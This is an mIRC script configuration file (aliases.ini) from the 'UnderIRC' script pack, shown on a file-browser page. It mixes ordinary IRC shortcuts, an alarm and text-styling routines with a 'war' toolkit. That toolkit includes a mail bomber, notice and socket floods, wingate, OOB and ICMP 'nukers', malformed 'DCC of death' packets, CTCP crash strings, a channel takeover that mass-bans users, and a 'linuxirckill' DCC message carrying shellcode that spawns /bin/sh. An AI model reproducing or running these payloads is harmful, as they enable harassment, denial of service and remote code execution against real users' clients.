UnderIRC — File Browser
UnderIRCv1.0 / UnderIRCv1.0 / Under / System / aliases.ini
aliases.ini — 23.58 KB — Download this file
[aliases]
n0=---------------------------- Shortcuts --------------------------------
n1=/op /mode # +ooo $$1 $2 $3
n2=/dop /mode # -ooo $$1 $2 $3
n3=/unban /mode # -bbb $$1 $2 $3
n4=/vo /mode # +vvv $$1 $2 $3
n5=/dvo /mode # -vvv $$1 $2 $3
n6=/l /list
n7=/j /join #$$1
n8=/p /part #
n9=/n /nick $$1
n10=/w /whois $$1
n11=/k /kick # $$1 $?="REASON: [optional]"
n12=/q /query $$1
n13=/hop /part # | /join #$$1
n14=/send /dcc send $1 $2
n15=/chat /dcc chat $1
n16=/ping /ctcp $$1 ping
n17=/finger /ctcp $$1 finger
n18=/uecho /echo 5 -a % $+ $1-
n19=/uechos /echo 5 -s % $+ $1-
n20=/prop {
n21= if ($chan(0) == 0) {
n22= /notice $active [- UnderIRC -] ::: THE UNDERGROUND IRC ::: by CooL
n23= /notice %chanprop dO NOT SiT iN A CORNER -> http://pagina.de/underirc
n24= halt
n25= }
n26= :again
n27= if (%count == $null) { /set %count $chan(0) }
n28= /set %chanprop $chan(%count)
n29= /notice %chanprop [- UnderIRC -] ::: THE UNDERGROUND IRC ::: by CooL
n30= /notice %chanprop dO NOT SiT iN A CORNER -> http://pagina.de/underirc
n31= dec %count 1
n32= if (%count == 0) { .unset %count | halt }
n33= goto again
n34=}
n35=gbokon .enable #gbook | .msg $chan 5 $+ $me hAS JUST ENAbLEd MY GUESTbOOk. TO SiGN iT, TYPE 3!sign + "your msg" 5AND TO ViEW iT, TYPE 3!view | .msg $chan 5 $+ EXAMPLE: 3!sign UnderIRC, the best of all...
n36=---------------------------- Mail Bomb -----------------------------
n37=/start {
n38= //set %mailbombtimes $$?="HOW MANY MAiLBOMBS?"
n39= //set %mailbombfrom $$?="MAiLBOMB FROM: i.e. (bomber@prov.com)"
n40= //set %mailbombto $$?="MAiLBOMB TO: i.e. (bombed@prov.com)"
n41= //set %mailbombdata $$?="BODY:"
n42=}
n43=/lagsomeone {
n44= set %tsvict $$1
n45= if ($$1 == $null) { set %tsvict $$?="NiCK:" }
n46= /ignore -ntic %tsvict 3
n47= /timer4 50 3 /Invite %tsvict #FuckU
n48= .timer -m 5 500 .notice %tsvict UnderIRC:0# ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] # ] [
n49=}
n50=/start3 {
n51= set %bombs 0
n52= :start
n53= inc %bombs 1
n54= if (%bombs <= %mailbombtimes) {
n55= //msg = $+ $me MAiL FROM: %mailbombfrom
n56= //msg = $+ $me RCPT TO: %mailbombto
n57= //msg = $+ $me DATA
n58= //msg = $+ $me %mailbombdata
n59= //msg = $+ $me .
n60= goto start
n61= }
n62= :end
n63= %bombs = %bombs - 1
n64= /disable #mail
n65= /close -c $me
n66= /echo 5 -s «% MAiLBOMB STATS % $+ »
n67= /echo 5 -s % $+ FiNiSHED %bombs BOMBS TO %mailbombto
n68= /echo 5 -s % $+ FROM: %mailbombfrom
n69= /echo 5 -s % $+ BODY: %mailbombdata
n70=}
n71=/start2 {
n72= //raw -q privmsg $me : $+ $chr(1) $+ DCC CHAT chat $longip(18.72.0.100) 25 $+ $chr(1)
n73=}
n74=------------------------------ ALARM --------------------------------
n75=alarm {
n76= set %alarm $$?="WHEN: [H:MM - hours = 0 to 23] eg.: 7:45"
n77= set %raz $?="REASON TO ALARM:"
n78= echo 12% ALARM ACTiVATEd TO RiNG AT -> %alarm $+ :00
n79= echo 12% NOW iS -> $time
n80= echo 12% TO TURN OFF PRESS F4
n81= .timer232 %alarm 1 1 /ct
n82= set %f4 noBeep
n83=}
n84=ct {
n85= set %f4 Beep
n86= .timer232 off
n87= .timer20 14 3 /splay $mircdirwavs\alarm.wav
n88= .timer21 10 4 /uecho ALARM! [ $+ %alarm $+ ]. REASON -> 2 %raz $+ 12. | /uecho PRESS 2F412 TO STOP THE RiNG...
n89= unset %alarm
n90= unset %raz
n91=}
n92=F4 {
n93= if (%f4 == Beep) {
n94= /uecho 12ALARM TURNEd OFF...
n95= .timer20 off
n96= .timer21 off
n97= .unset %f4
n98= halt
n99= }
n100= elseif (%f4 == noBeep) {
n101= echo 12% ALARM TURNEd OFF.
n102= .timer232 off
n103= goto fim
n104= }
n105= else { /uecho NO ALARMs ACTiVATEd. }
n106= :fim
n107= unset %alarm
n108= unset %raz
n109= unset %f4
n110=}
n111=----------- TEXTs -----------
n112=uplow {
n113= /unset %uplow
n114= /set %message $1-
n115= /set %message $replace(%message,$chr(32),$chr(160))
n116= /set %let 1
n117= :next
n118= if (%let > $len(%message)) {
n119= /goto end
n120= }
n121= else {
n122= if (2 // %let) {
n123= /set %uplow %uplow $upper($mid(%let,1,%message))
n124= }
n125= else {
n126= /set %uplow %uplow $mid(%let,1,%message)
n127= }
n128= /inc %let
n129= /goto next
n130= }
n131= :end
n132= /set %uplow $remove(%uplow,$chr(32))
n133= /return %uplow
n134=}
n135=
n136=back {
n137= unset %backtext
n138= set %text $1-
n139= %i = $len(%text) + 1
n140= :next
n141= dec %i
n142= if (%i = 0) {
n143= return %backtext | halt
n144= }
n145= if ($asc($mid(%i,1,%text)) = 32) { %backtext = %backtext $+ $chr(160) | goto next }
n146= %backtext = %backtext $+ $mid(%i,1,%text)
n147= goto next
n148=}
n149=--------------------------------- IRC -----------------------------------
n150=/mvoices {
n151= /set %msgcan $$?="CHANNEL:"
n152= set %avoi $vnick(%msgcan $+ ,0)
n153= set %vmessage $?="ENTER THE MSG:"
n154= set %voi 1
n155= :next
n156= if $vnick(%msgcan $+ ,%voi) == $me goto meself
n157= msg $vnick(%msgcan $+ ,%voi) %vmessage
n158= :meself
n159= if %voi == %avoi goto end
n160= inc %voi 1
n161= goto next
n162= :end
n163= unset %avoi
n164= unset %vmessage
n165= unset %voi
n166=}
n167=/nvoices {
n168= set %notcan $$?="CHANNEL:"
n169= set %avoi $vnick(%notcan $+ ,0)
n170= set %vmessage $$?="ENTER THE NOTiCE:"
n171= set %voi 1
n172= :next
n173= if $vnick(%notcan $+ ,%voi) == $me goto meself
n174= notice $vnick(%notcan $+ ,%voi) %vmessage
n175= :meself
n176= if %voi == %avoi goto end
n177= inc %voi 1
n178= goto next
n179= :end
n180= unset %avoi
n181= unset %vmessage
n182= unset %voi
n183=}
n184=/nvoicesc {
n185= set %avoi $vnick($chan,0)
n186= set %vmessage $?="ENTER THE NOTiCE:"
n187= set %voi 1
n188= :next
n189= if $vnick($chan,%voi) == $me goto meself
n190= notice $vnick($chan,%voi) %vmessage
n191= :meself
n192= if %voi == %avoi goto end
n193= inc %voi 1
n194= goto next
n195= :end
n196= unset %avoi
n197= unset %vmessage
n198= unset %voi
n199=}
n200=
n201=normal {
n202= set %mode normal
n203= .load -ps $mIRCdir\system\popups.ini
n204= .load -pc $mIRCdir\system\popups.ini
n205= .load -pq $mIRCdir\system\popups.ini
n206= .load -pn $mIRCdir\system\popups.ini
n207= .load -pm $mIRCdir\system\popups.ini
n208= /echo -a 0,0............
n209= /echo -a 12STARTiNG [- UnderIRC -] NORMAL MOdE...
n210= /echo -a 12dONE. NORMAL MOdE STARTEd!
n211= /splay $mircdir\wavs\exorcism.wav
n212=}
n213=war {
n214= set %mode war
n215= .load -ps $mIRCdir\system\war.ini
n216= .load -pc $mIRCdir\system\war.ini
n217= .load -pq $mIRCdir\system\war.ini
n218= .load -pn $mIRCdir\system\war.ini
n219= .load -pm $mIRCdir\system\war.ini
n220= /echo -a 0,0............
n221= /echo -a 12STARTiNG [- UnderIRC -] WAR MOdE...
n222= /echo -a 12dONE. WAR MOdE REAdY TO SERVE!
n223= /splay $mircdir\wavs\exorcism.wav
n224=}
n225=reset {
n226= clear
n227= echo 12 -s [-UnderIRC -] --> STARTiNG SHUT dOWN SEQUENCE...
n228= echo 2 -s -
n229= echo 4 -s FLUSHiNG LEVELs
n230= flush
n231= echo 2 -s -
n232= echo 4 -s SWiTCHiNG OFF TiMERs
n233= timers off
n234= echo 2 -s -
n235= echo 4 -s FLUSHiNG VARiABLEs
n236= writeini system\sys.ini config onlinetime %online
n237= writeini system\sys.ini config lagmeter %lagtester
n238= writeini system\sys.ini config lagstatus %lagtests
n239= writeini system\sys.ini config gui %guio
n240= writeini system\sys.ini config mode %mode
n241= writeini system\lag.ini lag best 10.0
n242= writeini system\lag.ini lag worst 0.0
n243= .enable #flood
n244= .enable #swear
n245= .enable #caps
n246= .enable #massop
n247= .enable #massdeop
n248= .enable #masskick
n249= echo 2 -s -
n250= echo 2 -s * Variables flushed
n251= echo 2 -s -
n252= echo 4 -s RESETiNG VARiABLEs
n253= set %logo [- UnderIRC -]
n254= set %online $readini system\sys.ini config onlinetime
n255= set %lagtester $readini system\sys.ini config lagmeter
n256= set %lagtests $readini system\sys.ini config lagstatus
n257= set %guio $readini system\sys.ini config gui
n258= set %mode $readini system\sys.ini config mode
n259= set %lagbackx 75
n260= set %lagbacky 88
n261= set %anon.address irc.fucked.com.br | set %anon.port 6669 | set %anonlisten 1337
n262= echo 2 -s -
n263= echo 4 -s LOADiNG POPUPs
n264= echo 2 -s -
n265= echo 4 -s RESTARTiNG....
n266= if ($server != $null $+ ) {
n267= /uptitle
n268= auser 1 $me
n269= }
n270= echo 2 -s -
n271= echo 12 -s [-UnderIRC -] --> SHUT dOWN SEQUENCE FiNiSHEd.
n272=}
n273=------------------------------ Macros --------------------------------
n274=icmpdns dns $read -l $+ $1 $mircdir\txts\icmp.txt
n275=secho /echo 5 -s
n276=statsak {
n277= /echo 5 -s «% AUTOKiCKs STATS % $+ »
n278= /echo 5 -s % $+ TEXT FLOOd --> %textflood
n279= /echo 5 -s % $+ NiCK FLOOd --> %nickflood
n280= /echo 5 -s % $+ SWEAR --> %badword
n281= /echo 5 -s % $+ SHUDDAP --> %shuddap
n282= /echo 5 -s % $+ CAPS LOCk --> %capskick
n283= /echo 5 -s % $+ iDLE --> %idlekick
n284= /echo 5 -s % $+ -
n285= /echo 5 -s % $+ MASS OP --> %mop
n286= /echo 5 -s % $+ MASS DEOP --> %mdop
n287= /echo 5 -s % $+ MASS KiCK --> %mkick
n288=}
n289=statspro {
n290= /echo 5 -s «% PROTECTiONs STATS % $+ »
n291= /echo 5 -s % $+ CTCPs --> %ctcps
n292= /echo 5 -s % $+ DCCs --> %dccs
n293= /echo 5 -s % $+ FLOOd -¬
n294= /flood
n295= /echo 5 -s % $+ CLONEs DETECTOR -> %detect
n296=}
n297=/idlekick {
n298= /set %idlekick ON
n299= /enable #idle.kicker
n300= /set -q %idlekickchan #$$1
n301= /set -q %totuser (0, %idlekickchan)
n302= /unset %curuser
n303= /msg %idlekickchan [- UnderIRC -] --> iDLE AUTOKiCk ON %idlekickchan...
n304= :start
n305= /inc %curuser
n306= /whois $nick(%curuser, %idlekickchan)
n307= /if %curuser < %totuser /goto start
n308= /unset %curuser
n309=}
n310=----------- Fuckers ---------
n311=wingate {
n312= /set %wincrashed $$?="ENTER iP:"
n313= /set %gcrash &gatecrash&
n314= /set %count 0
n315= if %wincrashed = $null {
n316= halt
n317= }
n318= /uecho ATTEMPTiNG TO CRASH %wincrashed $+ .
n319= :loop
n320= if %count = 50 {
n321= /uecho %gcrash KiLL ON %wincrashed COMPLETE!
n322= halt
n323= }
n324= sockopen g $+ %count %wincrashed 23
n325= sockwrite -n g $+ %count %gcrash %gcrash %gcrash
n326= /set %count $calc(%count + 1)
n327= goto loop
n328=}
n329=
n330=oob {
n331= if ($1 == $null) { halt }
n332= set %OOB.port 139
n333= if ($2 != $null) && ($2 isnum) { set %OOB.port $2 }
n334= /uecho OOB NUkER: Trying... [ $+ $1 $+ ]
n335= sockopen OOBK $+ $rand(1,100000) $1 %OOB.port
n336= unset %OOB.*
n337=}
n338=/click {
n339= /uecho CLiCK WiLL JUST WORK iF YOU HAVE Winsock iNSTALLEd...
n340= if ($winsock == $false) { winsock.error | halt }
n341= if (%Connect.Speed == 0) { set %Nuke.Ports 32 }
n342= if (%Connect.Speed == 1) { set %Nuke.Ports 64 }
n343= if (%Connect.Speed == 2) { set %Nuke.Ports 75 }
n344= if (%Connect.Speed == 3) { set %Nuke.Ports 512 }
n345= if (%Connect.Speed == 4) { set %Nuke.Ports 1024 }
n346= if (%Connect.Speed == 5) { set %Nuke.Ports 2048 }
n347= set %Nuke.Side -client | set %nuke.clp 1024 | set %nuke.chp 1400 | set %nuke.sp 6667-6669,7000
n348= if (-high isin $2-) { set %nuke.clp 1024 | set %nuke.chp 2400 }
n349= if (-port isin $2-) { set %nuke.sp $$?="SERVER PORT TO CLiCk: (6667)" }
n350= if (-pps isin $2-) { set %nuke.ports $$?="UNREACH PACkETS PER SECONd:" }
n351= if (-server isin $2-) { set %nuke.Side -server }
n352= set %nuke.nick $1 | .enable #click | .raw whois $1
n353=}
n354=+identnuke {
n355= .sockopen dnd $+ $rand(9,99999) %nuke-ip 21 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 21
n356= .sockopen dnd $+ $rand(9,99999) %nuke-ip 21 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 23
n357= .sockopen dnd $+ $rand(9,99999) %nuke-ip 23 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 23
n358= .sockopen dnd $+ $rand(9,99999) %nuke-ip 59 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 59
n359= .sockopen dnd $+ $rand(9,99999) %nuke-ip 59 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 80
n360= .sockopen dnd $+ $rand(9,99999) %nuke-ip 80 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 80
n361= .sockopen dnd $+ $rand(9,99999) %nuke-ip 113 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 113
n362= .sockopen dnd $+ $rand(9,99999) %nuke-ip 113 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 135
n363= .sockopen dnd $+ $rand(9,99999) %nuke-ip 135 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 135
n364= .sockopen dnd $+ $rand(9,99999) %nuke-ip 139 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 139
n365= .sockopen dnd $+ $rand(9,99999) %nuke-ip 139 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 153
n366= .sockopen dnd $+ $rand(9,99999) %nuke-ip 153 | .sockopen dnd $+ $rand(9,99999) %nuke-ip 153
n367=}
n368=dod {
n369= if ( $1 == $null ) { halt }
n370= /uecho SENdiNG DCC of DEATH TO $$1
n371= raw -q privmsg $$1 : $+ $chr(1) $+ DCC SEND TclKicksYaAzz $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ .MaX 9991234567 $r(1024,2000) $r(2000,7000) $+ $chr(1)
n372= /raw -q privmsg $$1 : $+ $chr(1) $+ DCC RESUME YouWillGoDown $+ $chr(1)
n373=}
n374=/linuxirckill {
n375= /raw -q privmsg %linuxkilled :DCC SEND 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ë$^ ‰^ 3Ò‰V‰V¸V45V4N ‹ÑÍ€3À@Í€è×ÿÿÿ/bin/sh 2048 2048 $+
n376= /raw -q privmsg %linuxkilled :DCC CHAT cow 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1 $+
n377=}
n378=/macirckill {
n379= /ctcp %mackilled GESTALT | /ctcp %mackilled GESTALT | /ctcp %mackilled GESTALT | /ctcp %mackilled GESTALT
n380=}
n381=/icqflood /run $mircdircp\icqflood.exe $$?="IP:" $$?="HOW MANY MSGs?" $$?="PORT TO START SCAN:" $$?="PORT TO ENd SCAN:"
n382=takecomp {
n383= if ($me !isop %takecan) { /halt | /uecho YOU HAVE TO BE OP FOR THE TAkEOVER WORK... }
n384= mode %takecan +sitpn
n385= set %at 0
n386= :start
n387= inc %at 1 | set %knick $nick(%at,%takecan)
n388= if %knick == $null goto stop
n389= if %knick == $me goto start
n390= ban %takecan %knick 4 | kick %takecan %knick !Bye!
n391= goto start
n392= :stop
n393= .topic %takecan Ohh, What a beautiful day!!
n394= unset %takecan
n395= unset %vitim
n396= unset %vnum
n397=}
n398=/fuckmir /ctcp %victim echo ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
n399=----------------------- TiTLE 'n LAGTEST ----------------
n400=ascii {
n401= /set %message $$?="MESSAGE:"
n402= /set %message $lower(%message)
n403= /set %message $replace(%message,a,å)
n404= /set %message $replace(%message,b,ß)
n405= /set %message $replace(%message,c,©)
n406= /set %message $replace(%message,d,Ð)
n407= /set %message $replace(%message,e,ë)
n408= /set %message $replace(%message,f,£)
n409= /set %message $replace(%message,g,&)
n410= /set %message $replace(%message,i,¡)
n411= /set %message $replace(%message,n,Ñ)
n412= /set %message $replace(%message,o,Ø)
n413= /set %message $replace(%message,p,þ)
n414= /set %message $replace(%message,r,®)
n415= /set %message $replace(%message,s,§)
n416= /set %message $replace(%message,u,µ)
n417= /set %message $replace(%message,x,×)
n418= /set %message $replace(%message,y,¥)
n419= /set %message $replace(%message,?,¿)
n420= /set %message $replace(%message,!,¡)
n421= /set %message $replace(%message,1,¹)
n422= /set %message $replace(%message,2,²)
n423= /set %message $replace(%message,3,³)
n424= /set %message $replace(%message,á,À)
n425= /set %message $replace(%message,é,è)
n426= /set %message $replace(%message,í,ì)
n427= /set %message $replace(%message,ó,ò)
n428= /set %message $replace(%message,ú,ù)
n429= /set %message $replace(%message,ç,¢)
n430= /msg %person %message
n431= /unset %message
n432=}
n433=undertext {
n434= /set %message $$?="SAY WHAT?"
n435= /set %message $lower(%message)
n436= /set %message $replace(%message,a,A)
n437= /set %message $replace(%message,c,C)
n438= /set %message $replace(%message,e,E)
n439= /set %message $replace(%message,g,G)
n440= /set %message $replace(%message,j,J)
n441= /set %message $replace(%message,l,L)
n442= /set %message $replace(%message,m,M)
n443= /set %message $replace(%message,n,N)
n444= /set %message $replace(%message,o,O)
n445= /set %message $replace(%message,p,P)
n446= /set %message $replace(%message,q,Q)
n447= /set %message $replace(%message,r,R)
n448= /set %message $replace(%message,s,S)
n449= /set %message $replace(%message,u,U)
n450= /set %message $replace(%message,v,V)
n451= /set %message $replace(%message,w,W)
n452= /set %message $replace(%message,x,X)
n453= /set %message $replace(%message,y,Y)
n454= /set %message $replace(%message,z,Z)
n455= /set %message $replace(%message,á,Á)
n456= /set %message $replace(%message,é,É)
n457= /set %message $replace(%message,ó,Ó)
n458= /set %message $replace(%message,ú,Ú)
n459= /set %message $replace(%message,ã,Ã)
n460= /set %message $replace(%message,ç,Ç)
n461= /msg %person %message
n462= /unset %message
n463=}
n464=updatelagmeter {
n465= /set %lagavg $calc($lagstat(lag) * 8)
n466= window -p +b @Lagmeter $lagstat(meterxpos) $lagstat(meterypos) 100 120 @lagmeter
n467= if ((%lagtimer == 0) || (%lagtimer == $null)) { drawfill @lagmeter 12 12 10 10 system\back.bmp | /set %lagtimer 1 }
n468= drawcopy @lagmeter 14 4 77 75 @lagmeter 6 4
n469= drawpic @lagmeter 83 4 system\back2.bmp
n470= drawline @lagmeter 15 8 0 0 100 0
n471= drawline @lagmeter 15 8 96 0 96 80
n472= drawline @lagmeter 15 42 100 97 0 97
n473= drawline @lagmeter 15 8 2 80 2 0
n474= drawline @lagmeter 2 1 25 91 75 91
n475= drawtext -c @lagmeter 1 arial 13 10 78 100 120 NOW: $round($lagstat(lag),3)
n476= drawtext -c @lagmeter 1 arial 13 10 92 100 120 Best: $round($lagstat(best),3)
n477= drawtext -c @lagmeter 1 arial 13 10 102 100 120 Worst: $round($lagstat(worst),3)
n478= if (%lagavg > 80) { /set %lagavg 80 }
n479= drawline @lagmeter 4 2 $calc(%lagbacky - 4) %lagbackx $calc(%lagbacky + 3) $calc(76 - %lagavg)
n480= /set %lagbackx $calc(76 - %lagavg)
n481=}
n482=checklag {
n483= if (%lagtester == ON) {
n484= raw -q whatsmylag
n485= writeini system\lag.ini lag sentat $calc($ticks / 1000)
n486= }
n487= else { window -c @lagmeter | halt }
n488=}
n489=lagstat { return $readini system\lag.ini lag $1 }
n490=title {
n491= set %lag $round($lagstat(lag),1)
n492= inc %sec2
n493= if (%sec2 = 60) { inc %min2 | set %sec2 0 }
n494= if (%min2 = 60) { inc %hrs2 | set %min2 0 }
n495= if (%sec2 <= 9) { %sec = 0 $+ %sec2 }
n496= else { %sec = %sec2 }
n497= if (%min2 <= 9) { %min = 0 $+ %min2 }
n498= else { %min = %min2 }
n499= if (%hrs2 <= 9) { %hrs = 0 $+ %hrs2 }
n500= else { %hrs = %hrs2 }
n501= if ((%online == ON) && (%lagtester == ON)) {
n502= titlebar %logo ::: THE UNDERGROUND IRC ::: by CooL LAG: $+ %lag SECONDs $me $+ : $+ %hrs $+ : $+ %min $+ : $+ %sec ON LiNE
n503= }
n504= if ((%online == ON) && (%lagtester == OFF)) {
n505= titlebar %logo ::: THE UNDERGROUND IRC ::: by CooL $me $+ : $+ %hrs $+ : $+ %min $+ : $+ %sec ON LiNE
n506= }
n507= if ((%online == OFF) && (%lagtester == ON)) {
n508= titlebar %logo ::: THE UNDERGROUND IRC ::: by CooL LAG: $+ %lag SECONDs
n509= }
n510= if ((%online == OFF) && (%lagtester == OFF)) {
n511= titlebar %logo ::: THE UNDERGROUND IRC ::: by CooL
n512= }
n513=}
n514=uptitle {
n515= /play -cs $mircdirsystem\titlebar.txt 25
n516= timer2057 1 12 timer2050 0 1 title
n517= set %hrs 0
n518= set %min 0
n519= set %sec 12
n520= set %hrs2 0
n521= set %min2 0
n522= set %sec2 12
n523= checklag
n524=}
n525=------------------- [PRE] AUTOKiCKS -------------------
n526=txtfloodon /enable #flood | set %auto.fld ON | /uecho AUTOKiCK FLOOd --> ON
n527=txtfloodoff .set %auto.fld OFF | /uecho AUTOKiCK FLOOd --> OFF
n528=-----
n529=swearon /enable #swear | set %auto.swr ON | /uecho AUTOKiCK SWEAR --> ON
n530=swearoff set %auto.swr OFF | /uecho AUTOKiCK SWEAR --> OFF
n531=-----
n532=shuddapon /enable #shuddap | .guser 91 $$?="NiCK:" 1 | set %shuddap ON | /uecho AUTOKiCK SHUDDAP --> ON : $!
n533=shuddapoff /disable #shuddap | .ruser 91 $$?="NiCK:" 1 | set %shuddap OFF | /uecho AUTOKiCK SHUDDAP --> OFF : $!
n534=-----
n535=idleon /set -q %idlelimit $$?="ENTER iDLE LiMiT:" | /idlekick $$?="ENTER CHANNEL:"
n536=idleoff /msg %idlekickchan DONE. [- UnderIRC -] --> iDLE AUTOKiCK DiSABLEd | /disable #idle.kicker | set %idlekick OFF
n537=-----
n538=capson /enable #caps | set %auto.caps ON | /uecho AUTOKiCK CAPS --> ON
n539=capsoff set %auto.caps OFF | /uecho AUTOKiCK CAPS --> OFF
n540=-----
n541=/identify /msg nickserv identify $$1
n542=/recover /msg nickserv recover $$1 $$2
n543=--------------
n544=otswear {
n545= if ($me isop $chan) {
n546= set %chanban $chan
n547= set %nickban $nick
n548= set %parms SWEAR
n549= window -rap +n @PRE-AUTOKiCK 280 130 232 127
n550= drawpic @PRE-AUTOKiCK 0 0 $mircdirsystem\swear.bmp
n551= .enable #optoolz
n552= }
n553=}
n554=otcaps {
n555= if ($me isop $chan) {
n556= set %chanban $chan
n557= set %nickban $nick
n558= set %parms CapsLock
n559= window -rap +n @PRE-AUTOKiCK 280 130 232 127
n560= drawpic @PRE-AUTOKiCK 0 0 $mircdirsystem\caps.bmp
n561= .enable #optoolz
n562= }
n563=}
n564=otmass {
n565= if ($me isop $chan) {
n566= set %chanban $chan
n567= set %nickban $nick
n568= set %parms MASS-ACTiON
n569= window -rap +n @PRE-AUTOKiCK 280 130 232 127
n570= drawpic @PRE-AUTOKiCK 0 0 $mircdirsystem\mass.bmp
n571= .enable #optoolz
n572= }
n573=}
n574=otflood {
n575= if ($me isop $chan) {
n576= set %chanban $chan
n577= set %nickban $nick
n578= set %parms FLOOd
n579= window -rap +n @PRE-AUTOKiCK 280 130 232 127
n580= drawpic @PRE-AUTOKiCK 0 0 $mircdirsystem\flood.bmp
n581= .enable #optoolz
n582= }
n583=}
n584=
n585=prop2 {
n586= /notice $active [- UnderIRC -] ::: THE UNDERGROUND IRC ::: by CooL
n587= /notice $active dO NOT SiT iN A CORNER -> http://pagina.de/underirc
n588=}
n589=group {
n590= if ($2 = on) { % [ $+ [ $1.on ] ] = × | unset % [ $+ [ $1.off ] ] }
n591= elseif ($2 = off) { % [ $+ [ $1.off ] ] = × | unset % [ $+ [ $1.on ] ] }
n592=}
n593=banact {
n594= if ($$1 == off) && (%banact == off) return ×
n595= if ($$1 == 1) && (%banact == 1) return ×
n596= if ($$1 == 2) && (%banact == 2) return ×
n597= if ($$1 == 3) && (%banact == 3) return ×
n598=}
n599=
n600=/cbl /msg #amorecos cala a boca luis andre